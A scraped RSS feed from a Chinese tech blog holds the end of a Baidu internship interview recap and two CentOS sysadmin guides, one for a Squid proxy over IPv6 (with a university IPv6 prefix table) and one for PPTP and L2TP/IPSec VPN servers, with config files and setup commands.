    为了尽可能容纳更多单词，定义36进制，数元为[0~9, A~Z]
    每个单词的Key表示为一个长度为26的字符串，每一位分别是字母A~Z在这个单词中出现的次数(n: 0~Z)，
    如单词good，Key:00010010000000200000000000

    ABCDEFGHIJKLMNOPQRSTUVWXYZ
    00010010000000200000000000

    输入单词F([A~Z]{0~Z})

    1、求F的Key
    2、遍历字典，求每个单词的Key，Key相等则为兄弟单词

    对比素数积Key，
    优点：不易溢出
    缺点：虽然定义的n在0~Z之间，但还是覆盖不到类似a{37}相同字符出现超过36个的情况，但现有的单词序列中似乎还没有:)

二面大约花了20分钟。

等待

然后就是长达1周多的等待，然后，然后收到了助理MM的邮件，二面Fail。其实我二面的感觉比一面更好点，至少问题正确率高点，但是据 @whusnoppy 透露，二面应该是小boss了，再加上他们一致对于我的实习时间不满意，所以。。。

不管怎样，长了不少知识，Happy new year吧！

]]> http://logicmd.net/2011/01/internship-interview-experience-baidu/feed/ 14 CentOS部署IPv6环境Squid简要笔记 http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/ http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/#comments Sat, 18 Dec 2010 08:52:58 +0000 logicmd http://logicmd.net/?p=42405 Squid-cache-logoSquid Cache（简称为Squid）是一个流行的自由软件（GNU通用公共许可证）的代理服务器和Web缓存服务器。Squid有广泛的用途，从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度，到为一组人共享网络资源而缓存万维网，域名系统和其他网络搜索，到通过过滤流量帮助网络安全，到局域网通过代理上网。Squid的功能也相当完善，3.1之后的版本已经默认开启并支持了ipv6。

本文是如何在CentOS环境下部署Squid over IPv6

下载安装

去http://people.redhat.com/jskala/squid/下载最新版本的Squid rpm包。

#安装依赖
yum install perl-DBI
# 注意自己的构架是否为i386

http://people.redhat.com/jskala/squid/squid-3.1.8-1.el5/i386/squid-3.1.8-1.el5.i386.rpm

rpm -ivh squid-3.1.8-1.el5.i386.rpm

配置/etc/squid/squid.conf

#
# Recommended minimum configuration:
#
acl manager proto cache_object
acl localhost src 127.0.0.1/32 ::1
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1

# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 10.0.0.0/8     # RFC1918 possible internal network
acl localnet src 172.16.0.0/12  # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl localnet src fc00::/7       # RFC 4193 local private network range
acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines
# 使用预定义的ipv6定义ipv6地址源
acl in_ipv6 src ipv6
# 定义不能访问的网站
acl ban dstdomain "/etc/squid/bansite"

acl SSL_ports port 443
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl CONNECT method CONNECT

#
# Recommended minimum Access Permission configuration:
#
# Only allow cachemgr access from localhost
http_access allow manager localhost
http_access deny manager

# Deny requests to certain unsafe ports
http_access deny !Safe_ports

# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports

# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on "localhost" is a local user
http_access deny to_localhost

#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#

# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
# 不允许访问前面预定义的网址
http_access deny ban
http_access allow localnet
http_access allow localhost
# 只允许ipv6的地址来源的计算机使用本代理
http_access allow in_ipv6

# And finally deny all other access to this proxy
http_access deny all

# Squid normally listens to port 3128
http_port 3128

# 是透明代理 or 匿名代理(X-Forwarded-For字段)
forwarded_for on
# 最大下载文件大小
maximum_object_size 100 MB

# We recommend you to use at least the following line.
hierarchy_stoplist cgi-bin ?

# Uncomment and adjust the following to add a disk cache directory.
cache_dir ufs /var/spool/squid 100 16 256
cache_mem 16 MB #RAM比较小嘛~

# Leave coredumps in the first cache dir
coredump_dir /var/spool/squid

# Add any of your own refresh_pattern entries above these.
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320
#/etc/squid/bansite
.xxoo.com
.xxx.net

启动服务

chkconfig --levels 2345 squid on
service squid restart

更多的配置选项可以参考鸟哥私房菜，非常易懂的一份中文配置Squild资料。

当然文章有点老了，很多配置选项已经deprecated了，必要时还需要到Squid官网config文档去查询3.1版中哪些选项还能用。

Squid还可以完成限制下载特定后缀的文件啦，工作时间限制访问网站啦，设置VIP用户白名单啦，限制p2p啦，本文只是着眼于IPv6网络内容，更多的需求大家自行搜索。

FAQ

1.Squid 编译时候带IPv6，但却不处理IPv6来的请求

  • Squid可能配配置的只处理IPv4请求

    • squid.conf 的配置 (http_port, icp_port, snmp_port, https_port 或者其他 ) 可以是以下形式 port, hostname:port, or ip:port，如果hostname只有A记录或者IP是IPv4当然只会处理v4的请求。

  • Squid可能被配置了太过严格的 ACL.

    • 在处理传统的ACL配置时最好考虑到IPv6地址，比如默认的localhost 的ACL随着加入对IPv6的考虑演进成

    acl localhost src 127.0.0.1 ::1

2.经常出现的错误

  • 定义acl all src ::/0 0.0.0.0/0

    • all在Squid 3中已经预定义过了。

  • 定义acl IPv4 with ::ffff:a.b.c.d

    • Squid本身可以理解IPv4地址，而且ipv4在Squid中也预定义过了。

  • 定义acl IPv6 as 2000::/3

    • 其实IPv6远不止这些地址，而且ipv4在Squid中也预定义过了。
    当然要是想限制Squid为某些学校访问倒是可以参考下表

2001:DA8:0200::/48    清华大学
2001:DA8:0201::/48    北京大学
2001:DA8:0202::/48    北京邮电大学
2001:DA8:0203::/48    北京航天航空大学
2001:DA8:0204::/48    北京理工大学
2001:DA8:0205::/48    北京交通大学
2001:DA8:0206::/48    北京城市学院
2001:DA8:0207::/48    北京师范大学
2001:DA8:0208::/48    北京科技大学
2001:DA8:0209::/48    首都经济贸易大学
2001:DA8:020A::/48    北方工业大学
2001:DA8:020B::/48    国家计算机网络应急技术处理协调中心
2001:DA8:020C::/48    华北电力大学(北京)
2001:DA8:020D::/48    赛尔网络有限公司IDC部门
2001:DA8:020E::/48    中国传媒大学
2001:DA8:020F::/48    北京外国语大学
2001:DA8:0210::/48    北京机械工业学院
2001:DA8:0211::/48    北京林业大学
2001:DA8:0212::/48    北京信息工程学院
2001:DA8:0213::/48    教育部科技发展中心
2001:DA8:0214::/48    中国地质大学(北京)
2001:DA8:0215::/48    北京邮电大学
2001:DA8:0216::/48    北京工业大学
2001:DA8:0217::/48    DRAGONLAB实验室
2001:DA8:0218::/48    首都师范大学
2001:DA8:0219::/48    中央民族大学
2001:DA8:021C::/48    中国人民大学
2001:DA8:021D::/48    内蒙古大学
2001:DA8:021E::/48    太原理工大学
2001:DA8:0223::/48    中国矿业大学
2001:DA8:0224::/48    中国政法大学
2001:DA8:0225::/48    清华大学
2001:DA8:0226::/48    清华大学网络中心网管研究
2001:DA8:022B::/48    中央音乐学院
2001:DA8:022D::/48    北京语言大学
2001:DA8:0230::/48    对外经济贸易大学
2001:DA8:1000::/48    CERNET2核心节点-南京
2001:DA8:1001::/48    江苏省教育和科研计算机网
2001:DA8:1002::/48    东南大学
2001:DA8:1003::/48    南京师范大学
2001:DA8:1004::/48    河海大学
2001:DA8:1005::/48    南京农业大学
2001:DA8:1006::/48    南京航空航天大学
2001:DA8:1007::/48    南京大学
2001:DA8:1008::/48    江苏工业学院
2001:DA8:1009::/48    河海大学常州校区
2001:DA8:100A::/48    苏州大学
2001:DA8:100D::/48    中国矿业大学
2001:DA8:100E::/48    南京理工大学
2001:DA8:1010::/48    江南大学
2001:DA8:2000::/48    华南理工大学
2001:DA8:2001::/48    广州市教育局
2001:DA8:2002::/48    暨南大学
2001:DA8:200B::/48    华南师范大学
2001:DA8:2004::/48    华南农业大学
2001:DA8:3000::/48    华中科技大学
2001:DA8:3001::/48    华中师范大学
2001:DA8:3002::/48    华中农业大学
2001:DA8:3008::/48    华中科技大学同济医学院
2001:DA8:4000::/48    西安交通大学
2001:DA8:4003::/48    西安建筑科技大学
2001:DA8:5000::/48    郑州大学
2001:DA8:5001::/48    河南财经学院
2001:DA8:5002::/48    解放军信息工程大学
2001:DA8:5003::/48    河南省财经学校
2001:DA8:5004::/48    河南省教育科研网
2001:DA8:5005::/48    郑州大学西亚斯国际学院
2001:DA8:6000::/48    电子科技大学
2001:DA8:6004::/48    四川农业大学
2001:DA8:7000::/48    山东大学
2001:DA8:7001::/48    山东大学齐鲁软件学院
2001:DA8:7002::/48    CERNET山东省网络中心
2001:DA8:7003::/48    山东大学
2001:DA8:7004::/48    山东农业大学
2001:DA8:7005::/48    济南大学
2001:DA8:7006::/48    中国石油大学(华东)
2001:DA8:7007::/48    中国石油大学(华东)青岛校区
2001:DA8:7008::/48    山东理工大学
2001:DA8:7009::/48    烟台大学
2001:DA8:700A::/48    烟台师范学院
2001:DA8:700B::/48    山东省计算中心
2001:DA8:700C::/48    山东财政学院
2001:DA8:7013::/48    中国海洋大学
2001:DA8:8000::/48    上海交通大学
2001:DA8:8001::/48    复旦大学
2001:DA8:8002::/48    同济大学
2001:DA8:8003::/48    上海交通大学-上海城域网
2001:DA8:8004::/48    上海理工大学
2001:DA8:8005::/48    华东师范大学
2001:DA8:8006::/48    上海大学
2001:DA8:8007::/48    华东理工大学
2001:DA8:8008::/48    东华大学
2001:DA8:8009::/48    上海市教育委员会
2001:DA8:800A::/48    上海交通大学医学院
2001:DA8:800B::/48    上海师范大学
2001:DA8:800C::/48    第二军医大学
2001:DA8:800D::/48    上海财经大学
2001:DA8:800E::/48    上海外国语大学
2001:DA8:800F::/48    上海建桥学院
2001:DA8:9000::/48    东北大学
2001:DA8:9001::/48    辽宁大学
2001:DA8:900B::/48    东北大学
2001:DA8:A000::/48    天津大学
2001:DA8:A001::/48    天津理工大学
2001:DA8:A002::/48    天津医科大学
2001:DA8:A800::/48    大连理工大学
2001:DA8:A801::/48    大连海事大学
2001:DA8:A802::/48    大连轻工业学院
2001:DA8:B000::/48    吉林大学
2001:DA8:B001::/48    东北电力学院
2001:DA8:B007::/48    吉林大学农学部
2001:DA8:B800::/48    哈尔滨工业大学
2001:DA8:B801::/48    哈尔滨工业大学
2001:DA8:C000::/48    兰州大学
2001:DA8:C001::/48    甘肃省教育和科研计算机网
2001:DA8:C002::/48    甘肃政法学院
2001:DA8:C003::/48    西北师范大学
2001:DA8:C800::/48    重庆大学
2001:DA8:C801::/48    重庆交通大学
2001:DA8:C802::/48    重庆师范大学
2001:DA8:C803::/48    西南大学
2001:DA8:D000::/48    中南大学
2001:DA8:D001::/48    湖南师范大学
2001:DA8:D002::/48    长沙理工大学
2001:DA8:D003::/48    湖南商学院
2001:DA8:D800::/48    中国科技大学
2001:DA8:D801::/48    解放军电子工程学院
2001:DA8:D802::/48    安徽理工大学
2001:DA8:D803::/48    安徽中医学院
2001:DA8:D804::/48    皖南医学院
2001:DA8:D805::/48    合肥工业大学
2001:DA8:E000::/48    浙江大学
2001:DA8:E001::/48    浙江工业大学
2001:DA8:E002::/48    浙江大学宁波理工学院
2001:DA8:E800::/48    厦门大学
2001:DA8:E801::/48    福建农林大学
2001:DA8:E802::/48    福建师范大学

2001:250:0200::/48    清华大学
2001:250:0201::/48    北京大学
2001:250:0202::/48    北京交通大学
2001:250:0205::/48    中国人民大学
2001:250:0206::/48    北京航空航天大学
2001:250:0207::/48    北京化工大学
2001:250:0208::/48    北京大学医学部
2001:250:0209::/48    中国农业大学
2001:250:020A::/48    中国矿业大学
2001:250:020B::/48    北京师范大学
2001:250:020E::/48    北京科技大学
2001:250:0212::/48    北京中医药大学
2001:250:0217::/48    中国传媒大学
2001:250:0218::/48    北京外国语大学
2001:250:021A::/48    北京林业大学
2001:250:021C::/48    北京工业大学
2001:250:0400::/48    天津大学
2001:250:0401::/48    南开大学
2001:250:0405::/48    河北工业大学
2001:250:0C00::/48    华北工学院
2001:250:0C01::/48    太原理工大学
2001:250:0E00::/48    内蒙古大学
2001:250:0E02::/48    内蒙古师范大学
2001:250:1001::/48    西北交通大学
2001:250:1002::/48    西北农林科技大学
2001:250:1003::/48    西北大学
2001:250:1004::/48    西北工业大学
2001:250:1005::/48    长安大学
2001:250:1006::/48    西安电子科技大学
2001:250:1007::/48    第四军医大学
2001:250:1400::/48    兰州大学
2001:250:1401::/48    兰州理工大学
2001:250:1800::/48    新疆大学
2001:250:1804::/48    华南理工大学
2001:250:1999::/48    华南理工大学
2001:250:2000::/48    电子科技大学
2001:250:2002::/48    西南交通大学
2001:250:2003::/48    四川大学
2001:250:2009::/48    四川西华大学
2001:250:2800::/48    云南大学
2001:250:3000::/48    华南理工大学
2001:250:3002::/48    中山大学
2001:250:3401::/48    广西大学
2001:250:3C00::/48    深圳大学
2001:250:3C02::/48    深圳大学城
2001:250:4000::/48    华中科技大学
2001:250:4001::/48    武汉大学
2001:250:4002::/48    中国地质大学(武汉)
2001:250:4004::/48    武汉理工大学
2001:250:4400::/48    中南大学
2001:250:4401::/48    国防科学技术大学
2001:250:4402::/48    湖南大学
2001:250:4800::/48    郑州大学
2001:250:480B::/48    郑州大学
2001:250:480F::/48    解放军信息工程大学
2001:250:5003::/48    常熟理工学院
2001:250:5004::/48    南京师范大学
2001:250:5005::/48    河海大学
2001:250:5006::/48    南京农业大学
2001:250:5007::/48    南京航空航天大学
2001:250:5008::/48    江苏工业学院
2001:250:5009::/48    河海大学常州校区
2001:250:5400::/48    中国科学技术大学
2001:250:5401::/48    安徽大学
2001:250:5800::/48    山东大学
2001:250:580A::/48    山东大学
2001:250:5813::/48    山东大学
2001:250:5806::/48    中国海洋大学
2001:250:5807::/48    中国石油大学
2001:250:5808::/48    中国石油大学（青岛）
2001:250:6000::/48    上海交通大学
2001:250:6001::/48    复旦大学
2001:250:6003::/48    华东理工大学
2001:250:6005::/48    上海财经大学
2001:250:6006::/48    同济大学
2001:250:6007::/48    上海交通大学医学院
2001:250:6008::/48    上海大学
2001:250:600D::/48    上海交通大学-上海城域网
2001:250:600F::/48    上海外国语大学
2001:250:6400::/48    浙江大学
2001:250:6405::/48    浙江大学
2001:250:6800::/48    厦门大学
2001:250:6801::/48    集美大学
2001:250:6803::/48    福州大学
2001:250:6C00::/48    南昌大学
2001:250:7000::/48    大连理工大学
2001:250:7001::/48    东北大学
2001:250:7400::/48    吉林大学
2001:250:7401::/48    东北师范大学
2001:250:7801::/48    哈尔滨工程大学
2001:250:9001::/48    北京邮电大学
2001:251:4003::/48    华南农业大学
2001:251:4004::/48    暨南大学
2001:256:0100::/48    3Tnet网
2001:CC0:2020::/48    中科院研究生院

参考资料：
Squid Web Proxy Wiki

]]> http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/feed/ 2 CentOS上部署PPTP和L2TP over IPSec简要笔记 http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/ http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/#comments Thu, 16 Dec 2010 13:29:45 +0000 logicmd http://logicmd.net/?p=42404 PPTP部署

安装 PPTP 需要 MPPE 和较高版本的 ppp ( > 2.4.3 ) 支持，不过 CentOS 5.0/RHEL 5 的 2.6.18 内核已经集成了 MPPE 和高版本的 ppp 。因此可以跳过安装配置 MPPE 和 ppp 的过程直接安装 PPTP。

如果需要检查 MPPE 是否存在可以使用以下命令：

shell> modprobe ppp-compress-18 && echo ‘MPPE found !’

1.安装 pptpd
#确保安装了ppp 和 iptables
yum install -y ppp iptables
wget http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.i386.rpm
rpm -ivh pptpd-1.3.4-1.rhel5.1.i386.rpm

Notice:

  1. 官网http://poptop.sourceforge.net/已经删掉了1.3.4版的pptpd的RPM，所以只好在这个地方下载  :-(
  2. 判断CentOS系统是32位还是64位？ getconf LONG_BIT
2.配置文件编写

①.配置文件/etc/ppp/options.pptpd

mv /etc/ppp/options.pptpd /etc/ppp/options.pptpd.bak
cat >>/etc/ppp/options.pptpd<<EOF
name pptpd
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
proxyarp
lock
nobsdcomp
novj
novjccomp
nologfd
idle 2592000
ms-dns 8.8.8.8
ms-dns 8.8.4.4
EOF

name pptpd : pptpd server 的名称。

refuse-pap : 拒绝 pap 身份验证模式。

refuse-chap : 拒绝 chap 身份验证模式。

refuse-mschap : 拒绝 mschap 身份验证模式。

require-mschap-v2 : 在端点进行连接握手时需要使用微软的 mschap-v2 进行自身验证。

require-mppe-128 : MPPE 模块使用 128 位加密。

ms-dns 8.8.8.8

ms-dns 8.8.4.4 : ppp 为 Windows 客户端提供 DNS 服务器 IP 地址，第一个 ms-dns 为 DNS Master，第二个为 DNS Slave。

proxyarp : 建立 ARP 代理键值。

debug : 开启调试模式，相关信息同样记录在 /var/logs/message 中。

lock : 锁定客户端 PTY 设备文件。

nobsdcomp : 禁用 BSD 压缩模式。

novj

novjccomp : 禁用 Van Jacobson 压缩模式。

nologfd : 禁止将错误信息记录到标准错误输出设备(stderr)。

②.配置文件/etc/ppp/chap-secrets

mv /etc/ppp/chap-secrets /etc/ppp/chap-secrets.bak
vi /etc/ppp/chap-secrets

输入以下内容

# Secrets for authentication using CHAP
# client        server  secret                  IP addresses
myusername pptpd mypassword *

③.配置文件/etc/pptpd.conf

mv /etc/pptpd.conf /etc/pptpd.conf.bak
cat >>/etc/pptpd.conf<<EOF
#pptpd.conf
option /etc/ppp/options.pptpd
logwtmp
localip 10.82.18.1
remoteip 10.82.18.2-254
EOF

注：为拨入VPN的用户动态分配10.82.18.2～10.82.18.254之间的IP

④.配置文件/etc/sysctl.conf（修改内核转发参数）

如上一篇博文所述，可以sysctl -w net.ipv4.ip_forward=1，也可以

sed -i 's/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/g' /etc/sysctl.conf
sysctl -p

直接替换/etc/sysctl.conf的内容。这样写的好处在于不必在启动脚本/etc/rc.local中添加sysctl -w net.ipv4.ip_forward=1，一劳永逸。

IPSec+L2TP部署

这部分部署方法已经有现成的一键脚本，怕麻烦的用户可以直接拿去跑。但是本着不求甚解的原则还是一步步列出。

L2TP (Layer 2 Tunneling Protocol) 是VPN隧道协议的一种，它使用UDP的1701端口进行通信。L2TP本身并没有任何加密，但是我们可以使用IPSec对L2TP包进行加密。更多关于L2TP的理论知识可以访问这个Wiki

因为联通和移动陆续封掉了 PPTP 数据包，所以L2TP是移动设备VPN几乎唯一选择(OpenVPN配置稍显麻烦)。

在Linux环境下，有很多方法配置L2TP；一个选项是采用openl2tpd，但是他对老版本的ppp隧道支持不好。更重要的是在CentOS环境下，它要求内核需要patch，我想没多少人希望没事给内核patch吧。

基于这个原因，本文选择了xl2tpd & rp-l2tpd，xl2tpd 是由 Xelerance Corporation 维护的l2tpd应用。但是xl2tpd 没有l2tp-control，需要从rp-l2tp这个里面提取。

1.安装OpenSwan

经典的2.6.24这个版本和最新的2.6.32都可以。

#安装依赖
yum install make gcc gmp-devel bison flex
wget http://www.openswan.org/download/openswan-2.6.32.tar.gz
tar zxvf openswan-2.6.32.tar.gz
cd openswan-2.6.32
make programs install

①.修改配置文件/etc/ipsec.conf

mv /etc/ipsec.conf /etc/ipsec.conf.bak
cat >>/etc/ipsec.conf<<EOF
#ipsec.conf
version 2.0
config setup
    nat_traversal=yes
    virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12
    oe=off
    protostack=netkey

conn L2TP-PSK-NAT
    rightsubnet=vhost:%priv
    also=L2TP-PSK-noNAT

conn L2TP-PSK-noNAT
    authby=secret
    pfs=no
    auto=add
    keyingtries=3
    rekey=no
    ikelifetime=8h
    keylife=1h
    type=transport
    left=YOUR.SERVER.IP.ADDRESS
    leftprotoport=17/1701
    right=%any
    rightprotoport=17/%any
EOF

②.设置 PSK

rm -r /etc/ipsec.secrets
cat >>/etc/ipsec.secrets<<EOF
YOUR.SERVER.IP.ADDRESS %any: PSK "YourSharedSecret"
EOF

③.修改包转发设置

for each in /proc/sys/net/ipv4/conf/*
do
echo 0 > $each/accept_redirects
echo 0 > $each/send_redirects
done
#若PPTP部分设置过，则下面不必在设置
sed -i 's/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/g' /etc/sysctl.conf
sysctl -p

重新启动 ipsec，并测试运行效果

service ipsec restart
ipsec verify

若无FAIL即为正常。
这个时候 ipsec 部分完成了，可以测试一下，新建一个 ipsec+l2tp 的连接，填好服务器地址和 SharedKey，点连接。在服务端

tail -f /var/log/secure
#若出现以下内容，这代表IPSec一切正常
#pppd[3624]: IPSec connection established
2.安装xl2tpd和rp-l2tp

①.下载编译安装

#安装依赖
yum install libpcap-devel ppp
#rp-l2tp
wget http://downloads.sourceforge.net/project/rp-l2tp/rp-l2tp/0.4/rp-l2tp-0.4.tar.gz
tar zxvf rp-l2tp-0.4.tar.gz
cd rp-l2tp-0.4
./configure
make
cp handlers/l2tp-control /usr/local/sbin/
mkdir /var/run/xl2tpd/
ln -s /usr/local/sbin/l2tp-control /var/run/xl2tpd/l2tp-control
#xl2tpd
cd..
wget  http://ywko.googlecode.com/files/xl2tpd-1.2.4.tar.gz
tar zxvf xl2tpd-1.2.4.tar.gz
cd xl2tpd-1.2.4
make install

官网的xl2tpd已经404，所以…

②.写配置文件

mkdir /etc/xl2tpd
rm -f /etc/xl2tpd/xl2tpd.conf
cat >>/etc/xl2tpd/xl2tpd.conf<<EOF
#/etc/xl2tpd/xl2tpd.conf
[global]
ipsec saref = yes

[lns default]
ip range = 10.82.88.2-10.82.88.254
local ip = 10.82.88.1
refuse chap = yes
refuse pap = yes
require authentication = yes
ppp debug = yes
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
EOF

rm -f /etc/ppp/options.xl2tpd
cat >>/etc/ppp/options.xl2tpd<<EOF
#/etc/ppp/options.xl2tpd
require-mschap-v2
ms-dns 8.8.8.8
ms-dns 8.8.4.4
asyncmap 0
auth
crtscts
lock
hide-password
modem
debug
name l2tpd
proxyarp
lcp-echo-interval 30
lcp-echo-failure 4
EOF

③.设置密码/etc/ppp/chap-secrets

输入以下内容

# Secrets for authentication using CHAP
# client        server  secret                  IP addresses
myusername l2tpd mypassword *

服务启动

1.配置防火墙iptables
service iptables start
#可以考虑
#iptables -t nat -A POSTROUTING -o eth0 -s 10.82.18.0/24 -j MASQUERADE
#iptables -t nat -A POSTROUTING -o eth0 -s 10.82.88.0/24 -j MASQUERADE
#考虑到之后还要配置L2TP，直接一下倒显得更加简便
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

OpenVZ用户将eth0换成venet0即可。

2.启动
service pptpd start
ipsec verify
service ipsec restart
xl2tpd
3.配置自启动脚本，添加以下内容到/etc/rc.local
iptables --table nat --append POSTROUTING --jump MASQUERADE
for each in /proc/sys/net/ipv4/conf/*
do
echo 0 > $each/accept_redirects
echo 0 > $each/send_redirects
done
/etc/init.d/ipsec restart
/usr/local/sbin/xl2tpd

参考资料：

]]> http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/feed/ 24